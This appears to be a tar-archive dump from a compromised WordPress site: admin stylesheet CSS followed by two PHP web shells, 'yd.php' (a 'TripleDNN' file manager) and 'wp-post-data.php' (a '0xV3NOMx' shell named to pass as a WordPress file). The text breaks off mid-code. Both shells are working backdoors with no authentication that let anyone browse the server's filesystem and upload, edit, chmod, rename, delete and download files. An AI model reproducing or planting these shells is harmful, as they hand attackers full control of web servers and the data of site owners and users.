#postbox-container-1{width:100%;margin-right:-300%}#post-body.columns-9 #postbox-container-3{float:right;width:100%;margin-right:-200%}#post-body.columns-9 #postbox-container-4{float:right;width:100%;margin-right:-100%}#post-body.columns-9 #side3-sortables,#post-body.columns-9 #side4-sortables{margin-left:20px}#post-body.columns-18 #side3-sortables{margin-right:600px}#post-body.columns-18 #postbox-container-2{width:300px;margin-left:-300px}#post-body.columns-18 #postbox-container-4{width:300px;margin-left:-600px}#post-body.columns-18 #normal-sortables,#post-body.columns-18 #side4-sortables{margin-left:20px}#post-body.columns-19 #side4-sortables{margin-left:600px}#post-body.columns-19 #side3-sortables{margin-right:20px}#post-body.columns-19 #normal-sortables{margin-left:20px}#post-body.columns-19 #postbox-container-3,#post-body.columns-19 #postbox-container-2{width:300px}#post-body.columns-19 #postbox-container-4{margin-left:-600px}#post-body.columns-20 #normal-sortables{margin-left:600px}#post-body.columns-20 #postbox-container-3,#post-body.columns-20 #postbox-container-4{width:300px}#post-body.columns-20 #postbox-container-2{margin-left:-600px}#post-body.columns-20 #side3-sortables,#post-body.columns-20 #side4-sortables{margin-right:20px}#post-body.columns-21 #side4-sortables,#post-body.columns-21 #normal-sortables{margin-left:20px}#post-body.columns-21 #postbox-container-4,#post-body.columns-21 #postbox-container-3,#post-body.columns-21 #postbox-container-2{width:33.3333%}#post-body.columns-22 #side4-sortables{margin-right:300px}#post-body.columns-22 #postbox-container-2{width:300px;margin-left:-300px}#post-body.columns-22 #normal-sortables{margin-left:20px}#post-body.columns-23 #side4-sortables{margin-right:10px}#post-body.columns-23 #normal-sortables{margin-left:10px}#post-body.columns-23 #postbox-container-4{width:50%}#post-body.columns-23 #postbox-container-2{margin-right:-50%;width:50%}#post-body.columns-24 #normal-sortables{margin-right:300px}#post-body.columns-24 #postbox-container-4{width:300px}#post-body.columns-24 #postbox-container-2{margin-right:-300px}#post-body.columns-24 #side4-sortables{margin-right:20px}#post-body.columns-22,#post-body.columns-23,#post-body.columns-24{margin-right:600px}#post-body.columns-22 #postbox-container-1,#post-body.columns-23 #postbox-container-1,#post-body.columns-24 #postbox-container-1{margin-right:-600px}#post-body.columns-22 #postbox-container-3,#post-body.columns-23 #postbox-container-3,#post-body.columns-24 #postbox-container-3{float:right;width:300px;margin-right:-300px}#post-body.columns-22 #side3-sortables,#post-body.columns-23 #side3-sortables,#post-body.columns-24 #side3-sortables{margin-left:20px}}@media screen and (min-width:1722px){#post-body.columns-8{margin-right:66.6666%}#post-body.columns-8 #postbox-container-1{margin-right:-200%}#post-body.columns-8 #postbox-container-3{float:right;width:300px;margin-right:-200%}#post-body.columns-8 #postbox-container-4{float:right;width:200%;margin-right:-200%}#post-body.columns-8 #side3-sortables{margin-left:-280px;margin-right:320px}#post-body.columns-8 #side4-sortables{margin-right:600px;margin-left:20px}#post-body.columns-10{margin-right:1200px}#post-body.columns-10 #postbox-container-1{margin-right:-1200px}#post-body.columns-10 #postbox-container-2{float:right;width:300px;margin-right:-300px}#post-body.columns-10 #postbox-container-3{float:right;width:300px;margin-right:-900px}#post-body.columns-10 #postbox-container-4{float:right;width:300px;margin-right:-600px}#post-body.columns-10 #side3-sortables,#post-body.columns-10 #side4-sortables,#post-body.columns-10 #normal-sortables{margin-left:20px}#post-body.columns-11{margin-right:80%}#post-body.columns-11 #postbox-container-1{width:100%;margin-right:-400%}#post-body.columns-11 #postbox-container-2{float:right;width:100%;margin-right:-100%}#post-body.columns-11 #postbox-container-3{float:right;width:100%;margin-right:-300%}#post-body.columns-11 #postbox-container-4{float:right;width:100%;margin-right:-200%}#post-body.columns-11 #side3-sortables,#post-body.columns-11 #side4-sortables,#post-body.columns-11 #normal-sortables{margin-left:20px}}.rtl .columns-prefs label{display:inline-block!important;position:relative;width:26px;height:26px;margin:0 0 8px 0}.rtl .columns-prefs label:hover .columns-prefs-icon{opacity:0.35}.rtl .columns-prefs label input{visibility:hidden}.rtl .columns-prefs label input:checked + .columns-prefs-icon{opacity:0.5}.rtl .columns-prefs .columns-prefs-icon{background:url(icons.png?v=4.2);width:26px;height:26px;position:absolute;left:0;border:1px solid #000;border-radius:2px;transition:opacity 0.1s;opacity:0.2}.rtl .columns-prefs-1 .columns-prefs-icon{background-position:-1222px 0}.rtl .columns-prefs-2 .columns-prefs-icon{background-position:-1196px 0}.rtl .columns-prefs-3 .columns-prefs-icon{background-position:-1170px 0}.rtl .columns-prefs-4 .columns-prefs-icon{background-position:-1144px 0}.rtl .columns-prefs-5 .columns-prefs-icon{background-position:-1118px 0}.rtl .columns-prefs-6 .columns-prefs-icon{background-position:-1092px 0}.rtl .columns-prefs-7 .columns-prefs-icon{background-position:-1066px 0}.rtl .columns-prefs-8 .columns-prefs-icon{background-position:-1040px 0}.rtl .columns-prefs-9 .columns-prefs-icon{background-position:-1014px 0}.rtl .columns-prefs-10 .columns-prefs-icon{background-position:-988px 0}.rtl .columns-prefs-11 .columns-prefs-icon{background-position:-962px 0}.rtl .columns-prefs-12 .columns-prefs-icon{background-position:-936px 0}.rtl .columns-prefs-13 .columns-prefs-icon{background-position:-910px 0}.rtl .columns-prefs-14 .columns-prefs-icon{background-position:-884px 0}.rtl .columns-prefs-15 .columns-prefs-icon{background-position:-858px 0}.rtl .columns-prefs-16 .columns-prefs-icon{background-position:-832px 0}.rtl .columns-prefs-17 .columns-prefs-icon{background-position:-806px 0}.rtl .columns-prefs-18 .columns-prefs-icon{background-position:-780px 0}.rtl .columns-prefs-19 .columns-prefs-icon{background-position:-754px 0}.rtl .columns-prefs-20 .columns-prefs-icon{background-position:-728px 0}.rtl .columns-prefs-21 .columns-prefs-icon{background-position:-702px 0}.rtl .columns-prefs-22 .columns-prefs-icon{background-position:-676px 0}.rtl .columns-prefs-23 .columns-prefs-icon{background-position:-650px 0}.rtl .columns-prefs-24 .columns-prefs-icon{background-position:-624px 0}.rtl #post-body{min-width:280px}.rtl #post-body #post-body-content{min-width:300px!important}.rtl #post-body #normal-sortables{min-height:32px;min-width:280px}.rtl #post-body #side-sortables{min-height:32px;min-width:280px}.rtl #post-body #side3-sortables{min-height:32px;min-width:280px}.rtl #post-body #side4-sortables{min-height:32px;min-width:280px}.rtl #post-body #postbox-container-1,.rtl #post-body #postbox-container-2,.rtl #post-body #postbox-container-3,.rtl #post-body #postbox-container-4,.rtl #post-body #side-sortables,.rtl #post-body #side3-sortables,.rtl #post-body #side4-sortables,.rtl #post-body #normal-sortables{margin-right:0;margin-left:0}.rtl #post-body.columns-2{margin-left:300px;margin-right:0}.rtl #post-body.columns-2 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-2 #side-sortables{margin-right:20px}.rtl #post-body.columns-3{margin-left:300px;margin-right:0}.rtl #post-body.columns-3 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-3 #side-sortables{margin-right:20px}.rtl #post-body.columns-4{margin-left:300px;margin-right:0}.rtl #post-body.columns-4 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-4 #side-sortables{margin-right:20px}.rtl #post-body.columns-5{margin-left:300px;margin-right:0}.rtl #post-body.columns-5 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-5 #side-sortables{margin-right:20px}.rtl #post-body.columns-6{margin-left:300px;margin-right:0}.rtl #post-body.columns-6 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-6 #side-sortables{margin-right:20px}.rtl #post-body.columns-7{margin-left:300px;margin-right:0}.rtl #post-body.columns-7 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-7 #side-sortables{margin-right:20px}.rtl #post-body.columns-8{margin-left:300px;margin-right:0}.rtl #post-body.columns-8 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-8 #side-sortables{margin-right:20px}.rtl #post-body.columns-9{margin-left:300px;margin-right:0}.rtl #post-body.columns-9 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-9 #side-sortables{margin-right:20px}.rtl #post-body.columns-10{margin-left:300px;margin-right:0}.rtl #post-body.columns-10 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-10 #side-sortables{margin-right:20px}.rtl #post-body.columns-11{margin-left:300px;margin-right:0}.rtl #post-body.columns-11 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-11 #side-sortables{margin-right:20px}.rtl #post-body.columns-12{margin-left:300px;margin-right:0}.rtl #post-body.columns-12 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-12 #side-sortables{margin-right:20px}.rtl #post-body.columns-13{margin-left:300px;margin-right:0}.rtl #post-body.columns-13 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-13 #side-sortables{margin-right:20px}.rtl #post-body.columns-14{margin-left:300px;margin-right:0}.rtl #post-body.columns-14 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-14 #side-sortables{margin-right:20px}.rtl #post-body.columns-15{margin-left:300px;margin-right:0}.rtl #post-body.columns-15 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-15 #side-sortables{margin-right:20px}.rtl #post-body.columns-16{margin-left:300px;margin-right:0}.rtl #post-body.columns-16 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-16 #side-sortables{margin-right:20px}.rtl #post-body.columns-17{margin-left:300px;margin-right:0}.rtl #post-body.columns-17 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-17 #side-sortables{margin-right:20px}.rtl #post-body.columns-18{margin-left:300px;margin-right:0}.rtl #post-body.columns-18 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-18 #side-sortables{margin-right:20px}.rtl #post-body.columns-19{margin-left:300px;margin-right:0}.rtl #post-body.columns-19 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-19 #side-sortables{margin-right:20px}.rtl #post-body.columns-20{margin-left:300px;margin-right:0}.rtl #post-body.columns-20 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-20 #side-sortables{margin-right:20px}.rtl #post-body.columns-21{margin-left:300px;margin-right:0}.rtl #post-body.columns-21 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-21 #side-sortables{margin-right:20px}.rtl #post-body.columns-22{margin-left:300px;margin-right:0}.rtl #post-body.columns-22 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-22 #side-sortables{margin-right:20px}.rtl #post-body.columns-23{margin-left:300px;margin-right:0}.rtl #post-body.columns-23 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-23 #side-sortables{margin-right:20px}.rtl #post-body.columns-24{margin-left:300px;margin-right:0}.rtl #post-body.columns-24 #postbox-container-1{float:left;margin-left:-300px;width:300px}.rtl #post-body.columns-24 #side-sortables{margin-right:20px}.rtl #post-body #content_toolbargroup #content_toolbar1 > tbody,.rtl #post-body #content_toolbargroup #content_toolbar2 > tbody{white-space:normal}.rtl #post-body #content_toolbargroup #content_toolbar1 > tbody > tr > td,.rtl #post-body #content_toolbargroup #content_toolbar2 > tbody > tr > td{float:right;min-height:28px}@media screen and (min-width:822px){.rtl #post-body.columns-2{margin-left:300px}.rtl #post-body.columns-2 #postbox-container-1{width:300px;margin-left:-300px}.rtl #post-body.columns-2 #side-sortables{margin-right:20px}.rtl #post-body.columns-3{margin-left:50%}.rtl #post-body.columns-3 #postbox-container-1{width:100%;margin-left:-100%}.rtl #post-body.columns-3 #side-sortables{margin-right:20px}}@media screen and (min-width:1122px){.rtl #post-body.columns-4{margin-left:600px}.rtl #post-body.columns-4 #postbox-container-1{margin-left:-600px}.rtl #post-body.columns-4 #postbox-container-3{float:left;width:300px;margin-left:-300px}.rtl #post-body.columns-4 #side3-sortables{margin-right:20px}.rtl #post-body.columns-6{margin-left:66.6666%}.rtl #post-body.columns-6 #postbox-container-1{width:100%;margin-left:-200%}.rtl #post-body.columns-6 #postbox-container-3{float:left;width:100%;margin-left:-100%}.rtl #post-body.columns-6 #side3-sortables{margin-right:20px}.rtl #post-body.columns-12 #side3-sortables,.rtl #post-body.columns-15 #side4-sortables{margin-left:300px}.rtl #post-body.columns-12 #postbox-container-4,.rtl #post-body.columns-15 #postbox-container-2{width:300px;margin-right:-300px}.rtl #post-body.columns-12 #side4-sortables,.rtl #post-body.columns-15 #normal-sortables{margin-right:20px}.rtl #post-body.columns-13 #side3-sortables,.rtl #post-body.columns-16 #side4-sortables{margin-left:10px}.rtl #post-body.columns-13 #side4-sortables,.rtl #post-body.columns-16 #normal-sortables{margin-right:10px}.rtl #post-body.columns-13 #postbox-container-3,.rtl #post-body.columns-16 #postbox-container-4{width:50%}.rtl #post-body.columns-13 #postbox-container-4,.rtl #post-body.columns-16 #postbox-container-2{margin-left:-50%;width:50%}.rtl #post-body.columns-14 #side4-sortables,.rtl #post-body.columns-17 #normal-sortables{margin-left:300px}.rtl #post-body.columns-14 #postbox-container-3,.rtl #post-body.columns-17 #postbox-container-4{width:300px}.rtl #post-body.columns-14 #postbox-container-4,.rtl #post-body.columns-17 #postbox-container-2{margin-left:-300px}.rtl #post-body.columns-14 #side3-sortables,.rtl #post-body.columns-17 #side4-sortables{margin-left:20px}}@media screen and (min-width:1422px){.rtl #post-body.columns-5{margin-left:50%}.rtl #post-body.columns-5 #postbox-container-1{margin-left:-100%}.rtl #post-body.columns-5 #postbox-container-3{float:left;width:100%;margin-left:-100%}.rtl #post-body.columns-5 #side3-sortables{margin-left:300px;margin-right:20px}.rtl #post-body.columns-7{margin-left:900px}.rtl #post-body.columns-7 #postbox-container-1{margin-left:-900px}.rtl #post-body.columns-7 #postbox-container-3{float:left;width:300px;margin-left:-600px}.rtl #post-body.columns-7 #postbox-container-4{float:left;width:300px;margin-left:-300px}.rtl #post-body.columns-7 #side3-sortables,.rtl #post-body.columns-7 #side4-sortables{margin-right:20px}.rtl #post-body.columns-9{margin-left:75%}.rtl #post-body.columns-9 #postbox-container-1{width:100%;margin-left:-300%}.rtl #post-body.columns-9 #postbox-container-3{float:left;width:100%;margin-left:-200%}.rtl #post-body.columns-9 #postbox-container-4{float:left;width:100%;margin-left:-100%}.rtl #post-body.columns-9 #side3-sortables,.rtl #post-body.columns-9 #side4-sortables{margin-right:20px}.rtl #post-body.columns-18 #side3-sortables{margin-left:600px}.rtl #post-body.columns-18 #postbox-container-2{width:300px;margin-right:-300px}.rtl #post-body.columns-18 #postbox-container-4{width:300px;margin-right:-600px}.rtl #post-body.columns-18 #normal-sortables,.rtl #post-body.columns-18 #side4-sortables{margin-right:20px}.rtl #post-body.columns-19 #side4-sortables{margin-right:600px}.rtl #post-body.columns-19 #side3-sortables{margin-left:20px}.rtl #post-body.columns-19 #normal-sortables{margin-right:20px}.rtl #post-body.columns-19 #postbox-container-3,.rtl #post-body.columns-19 #postbox-container-2{width:300px}.rtl #post-body.columns-19 #postbox-container-4{margin-right:-600px}.rtl #post-body.columns-20 #normal-sortables{margin-right:600px}.rtl #post-body.columns-20 #postbox-container-3,.rtl #post-body.columns-20 #postbox-container-4{width:300px}.rtl #post-body.columns-20 #postbox-container-2{margin-right:-600px}.rtl #post-body.columns-20 #side3-sortables,.rtl #post-body.columns-20 #side4-sortables{margin-left:20px}.rtl #post-body.columns-21 #side4-sortables,.rtl #post-body.columns-21 #normal-sortables{margin-right:20px}.rtl #post-body.columns-21 #postbox-container-4,.rtl #post-body.columns-21 #postbox-container-3,.rtl #post-body.columns-21 #postbox-container-2{width:33.3333%}.rtl #post-body.columns-22 #side4-sortables{margin-left:300px}.rtl #post-body.columns-22 #postbox-container-2{width:300px;margin-right:-300px}.rtl #post-body.columns-22 #normal-sortables{margin-right:20px}.rtl #post-body.columns-23 #side4-sortables{margin-left:10px}.rtl #post-body.columns-23 #normal-sortables{margin-right:10px}.rtl #post-body.columns-23 #postbox-container-4{width:50%}.rtl #post-body.columns-23 #postbox-container-2{margin-left:-50%;width:50%}.rtl #post-body.columns-24 #normal-sortables{margin-left:300px}.rtl #post-body.columns-24 #postbox-container-4{width:300px}.rtl #post-body.columns-24 #postbox-container-2{margin-left:-300px}.rtl #post-body.columns-24 #side4-sortables{margin-left:20px}.rtl #post-body.columns-22,.rtl #post-body.columns-23,.rtl #post-body.columns-24{margin-left:600px}.rtl #post-body.columns-22 #postbox-container-1,.rtl #post-body.columns-23 #postbox-container-1,.rtl #post-body.columns-24 #postbox-container-1{margin-left:-600px}.rtl #post-body.columns-22 #postbox-container-3,.rtl #post-body.columns-23 #postbox-container-3,.rtl #post-body.columns-24 #postbox-container-3{float:left;width:300px;margin-left:-300px}.rtl #post-body.columns-22 #side3-sortables,.rtl #post-body.columns-23 #side3-sortables,.rtl #post-body.columns-24 #side3-sortables{margin-right:20px}}@media screen and (min-width:1722px){.rtl #post-body.columns-8{margin-left:66.6666%}.rtl #post-body.columns-8 #postbox-container-1{margin-left:-200%}.rtl #post-body.columns-8 #postbox-container-3{float:left;width:300px;margin-left:-200%}.rtl #post-body.columns-8 #postbox-container-4{float:left;width:200%;margin-left:-200%}.rtl #post-body.columns-8 #side3-sortables{margin-right:-280px;margin-left:320px}.rtl #post-body.columns-8 #side4-sortables{margin-left:600px;margin-right:20px}.rtl #post-body.columns-10{margin-left:1200px}.rtl #post-body.columns-10 #postbox-container-1{margin-left:-1200px}.rtl #post-body.columns-10 #postbox-container-2{float:left;width:300px;margin-left:-300px}.rtl #post-body.columns-10 #postbox-container-3{float:left;width:300px;margin-left:-900px}.rtl #post-body.columns-10 #postbox-container-4{float:left;width:300px;margin-left:-600px}.rtl #post-body.columns-10 #side3-sortables,.rtl #post-body.columns-10 #side4-sortables,.rtl #post-body.columns-10 #normal-sortables{margin-right:20px}.rtl #post-body.columns-11{margin-left:80%}.rtl #post-body.columns-11 #postbox-container-1{width:100%;margin-left:-400%}.rtl #post-body.columns-11 #postbox-container-2{float:left;width:100%;margin-left:-100%}.rtl #post-body.columns-11 #postbox-container-3{float:left;width:100%;margin-left:-300%}.rtl #post-body.columns-11 #postbox-container-4{float:left;width:100%;margin-left:-200%}.rtl #post-body.columns-11 #side3-sortables,.rtl #post-body.columns-11 #side4-sortables,.rtl #post-body.columns-11 #normal-sortables{margin-right:20px}}shawwa/yd.php000064400000017571147510273060007203 0ustar00<?php
// Set directory root menjadi public_html
$root_dir = realpath(__DIR__);  // Ini mengatur root menjadi folder di mana file PHP ini disimpan
$current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $root_dir;

// Periksa jika direktori yang diminta valid dan dapat diakses
if (!$current_dir || !is_dir($current_dir)) {
    $current_dir = $root_dir; // Jika direktori tidak valid, kembali ke root_dir
}

// Fungsi untuk menampilkan list file & folder, dengan folder di atas dan file di bawah
function listDirectory($dir)
{
    $files = scandir($dir);

    // Array untuk menyimpan folder dan file terpisah
    $directories = [];
    $regular_files = [];

    // Pisahkan folder dan file ke dalam array yang berbeda
    foreach ($files as $file) {
        if ($file != "." && $file != "..") {
            if (is_dir($dir . '/' . $file)) {
                $directories[] = $file;  // Masukkan ke array folder
            } else {
                $regular_files[] = $file; // Masukkan ke array file biasa
            }
        }
    }

    // Tampilkan folder di atas
    foreach ($directories as $directory) {
        echo '<tr>';
        echo '<td><a href="?dir=' . urlencode($dir . '/' . $directory) . '">📁 ' . $directory . '</a></td>';
        echo '<td>Folder</td>';
        echo '<td>
            <a href="?dir=' . urlencode($dir) . '&edit=' . urlencode($directory) . '">Edit</a> |
            <a href="?dir=' . urlencode($dir) . '&delete=' . urlencode($directory) . '">Delete</a> |
            <a href="?dir=' . urlencode($dir) . '&rename=' . urlencode($directory) . '">Rename</a> |
            <a href="?dir=' . urlencode($dir) . '&download=' . urlencode($directory) . '">Download</a>
        </td>';
        echo '</tr>';
    }

    // Tampilkan file di bawah
    foreach ($regular_files as $file) {
        echo '<tr>';
        echo '<td>' . $file . '</td>';
        echo '<td>' . filesize($dir . '/' . $file) . ' bytes</td>';
        echo '<td>
            <a href="?dir=' . urlencode($dir) . '&edit=' . urlencode($file) . '">Edit</a> |
            <a href="?dir=' . urlencode($dir) . '&delete=' . urlencode($file) . '">Delete</a> |
            <a href="?dir=' . urlencode($dir) . '&rename=' . urlencode($file) . '">Rename</a> |
            <a href="?dir=' . urlencode($dir) . '&download=' . urlencode($file) . '">Download</a>
        </td>';
        echo '</tr>';
    }
}

// Fungsi untuk menghapus file
if (isset($_GET['delete'])) {
    $file_to_delete = $current_dir . '/' . $_GET['delete'];
    if (is_file($file_to_delete)) {
        unlink($file_to_delete);
    }
    header("Location: ?dir=" . urlencode($_GET['dir']));
}

// Fungsi untuk download file
if (isset($_GET['download'])) {
    $file_to_download = $current_dir . '/' . $_GET['download'];
    if (is_file($file_to_download)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"');
        header('Content-Length: ' . filesize($file_to_download));
        readfile($file_to_download);
        exit;
    }
}

// Fungsi untuk rename file
if (isset($_POST['rename_file'])) {
    $old_name = $current_dir . '/' . $_POST['old_name'];
    $new_name = $current_dir . '/' . $_POST['new_name'];
    rename($old_name, $new_name);
    header("Location: ?dir=" . urlencode($_GET['dir']));
}

// Fungsi untuk upload file
if (isset($_POST['upload'])) {
    $target_file = $current_dir . '/' . basename($_FILES["file"]["name"]);
    move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
    header("Location: ?dir=" . urlencode($_GET['dir']));
}

// Fungsi untuk mengedit file
if (isset($_POST['save_file'])) {
    $file_to_edit = $current_dir . '/' . $_POST['file_name'];
    $new_content = $_POST['file_content'];
    file_put_contents($file_to_edit, $new_content);
    header("Location: ?dir=" . urlencode($_GET['dir']));
}

// Fungsi untuk membuat file baru
if (isset($_POST['create_file'])) {
    $new_file_name = $_POST['new_file_name'];
    $new_file_path = $current_dir . '/' . $new_file_name;
    // Buat file baru dengan konten kosong
    file_put_contents($new_file_path, "");
    header("Location: ?dir=" . urlencode($_GET['dir']));
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>TripleDNN</title>
    <style>
        /* Styling dengan tema gelap (latar belakang hitam dan teks terang) */
        body {
            background-color: #121212;
            color: #E0E0E0;
            font-family: Arial, sans-serif;
        }
        h2 {
            color: #BB86FC;
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        th, td {
            padding: 10px;
            text-align: left;
        }
        th {
            background-color: #333;
            color: #BB86FC;
        }
        tr:nth-child(even) {
            background-color: #222;
        }
        tr:nth-child(odd) {
            background-color: #121212;
        }
        a {
            color: #03DAC6;
            text-decoration: none;
        }
        a:hover {
            color: #BB86FC;
        }
        button {
            background-color: #03DAC6;
            color: #121212;
            border: none;
            padding: 10px 20px;
            cursor: pointer;
        }
        button:hover {
            background-color: #BB86FC;
        }
        textarea {
            width: 100%;
            height: 400px;
            background-color: #222;
            color: #E0E0E0;
            border: 1px solid #BB86FC;
        }
        input[type="file"], input[type="text"] {
            color: #E0E0E0;
            background-color: #222;
            border: 1px solid #BB86FC;
            padding: 10px;
        }
        .form-container {
            display: flex;
            justify-content: space-between;
            margin-bottom: 20px;
        }
        .form-container form {
            margin-right: 10px;
        }
    </style>
</head>
<body>
    <p>Current Directory: <a href="?dir=<?php echo urlencode(dirname($current_dir)); ?>" style="color: #03DAC6;"><?php echo $current_dir; ?></a></p>
    
    <div class="form-container">
        <!-- Form untuk upload file -->
        <form method="post" enctype="multipart/form-data">
            <input type="file" name="file">
            <button type="submit" name="upload">Upload</button>
        </form>

        <!-- Form untuk membuat file baru -->
        <form method="post">
            <input type="text" name="new_file_name" placeholder="New file name" required>
            <button type="submit" name="create_file">Create File</button>
        </form>
    </div>

    <table border="1">
        <thead>
            <tr>
                <th>File Name</th>
                <th>Size</th>
                <th>Actions</th>
            </tr>
        </thead>
        <tbody>
            <?php listDirectory($current_dir); ?>
        </tbody>
    </table>

    <!-- Form untuk rename file -->
    <?php if (isset($_GET['rename'])): ?>
    <form method="post">
        <input type="hidden" name="old_name" value="<?php echo $_GET['rename']; ?>">
        <input type="text" name="new_name" placeholder="New name" style="width: 100%; padding: 10px;">
        <button type="submit" name="rename_file">Rename</button>
    </form>
    <?php endif; ?>

    <!-- Form untuk mengedit file -->
    <?php
    if (isset($_GET['edit'])):
        $file_to_edit = $current_dir . '/' . $_GET['edit'];
        if (is_file($file_to_edit)) {
            $file_content = file_get_contents($file_to_edit);
            ?>
            <form method="post">
                <input type="hidden" name="file_name" value="<?php echo $_GET['edit']; ?>">
                <textarea name="file_content"><?php echo htmlspecialchars($file_content); ?></textarea>
                <br>
                <button type="submit" name="save_file">Save Changes</button>
            </form>
        <?php }
    endif; ?>
</body>
</html>shawwa/wp-post-data.php000064400000020433147510273060011076 0ustar00<?php
@session_start();
@set_time_limit(0);

echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<title>0xV3NOMx</title>
<style>
body{
font-family: monospace;
font-weight: bold;
font-size: 18px;
background-color: #c5c5c5;
color: #000;
}
#content tr:hover{
background-color: #ccc;
}
#content .first{
background-color: #ccc;
}
#content .first:hover{
background-color: #ccc;
}
table{
border: 3px #000 solid;
}
a{
color: #000;
text-decoration: none;
}
a:hover{
color: #00f;
}
input,select,textarea{
border: 1px #000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
input {
 font-size: 18px;
 font-weight: bold;
 padding: 5px;
}
select {
font-size: 19px
}
textarea {
font-size: 10px
}
td, tr { padding: 2px 5px; }
</style>
</HEAD>
<BODY>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<font color="#FF0000"><center>'.php_uname().'</center></font><br>
<hr width="920" color="black"/>
<hr width="920" color="black"/><center><p><h2>Your IP : ' .$_SERVER["REMOTE_ADDR"]. '</h2></p></center>
<hr width="920" color="black"/>
<table width="920" border="1px" cellpadding="7" cellspacing="0" align="center">
<tr><td style="padding: 8px">Current Path : ';
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="green">Upload Success..</font><br />';
}else{
echo '<font color="red">Upload Gagal..</font><br />';
}
}
echo '<form enctype="multipart/form-data" method="POST">
Upload File : <input type="file" name="file" />
<input type="submit" value="Upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td style='padding: 8px'>Current File : ";
echo $_GET['filesrc'];
echo '</tr></td></table><br />';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
if($_POST['opt'] == 'chmod'){
if(isset($_POST['perm'])){
if(chmod($_POST['path'],$_POST['perm'])){
echo '<font color="green">Chmod Success..</font><br />';
}else{
echo '<font color="red">Chmod Gagal..</font><br />';
}
}
echo '<form method="POST">
Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="chmod">
<input type="submit" value="Save" />
</form>';
}elseif($_POST['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
echo '<font color="green">Rename Berhasil..</font><br />';
}else{
echo '<font color="red">Rename Gagal..</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Save" />
</form>';
}elseif($_POST['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green">Edit File Berhasil..</font><br />';
}else{
echo '<font color="red">Edit File Gagal..</font><br />';
}
fclose($fp);
}
echo '<form method="POST">
<textarea cols=130 rows=10 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';
if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="green">Delete Directory Berhasil..</font><br />';
}else{
echo '<font color="red">Delete Directory Gagal..</font><br />';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="green">Delete File Berhasil..</font><br />';
}else{
echo '<font color="red">Delete File Gagal..</font><br />';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="920" border="1.5px" cellpadding="5" cellspacing="0" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>
</tr>';

foreach($scandir as $dir){
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo "<tr>
<td><a href=\"?path=$path/$dir\">$dir</a></td>
<td><center>--</center></td>
<td><center>";
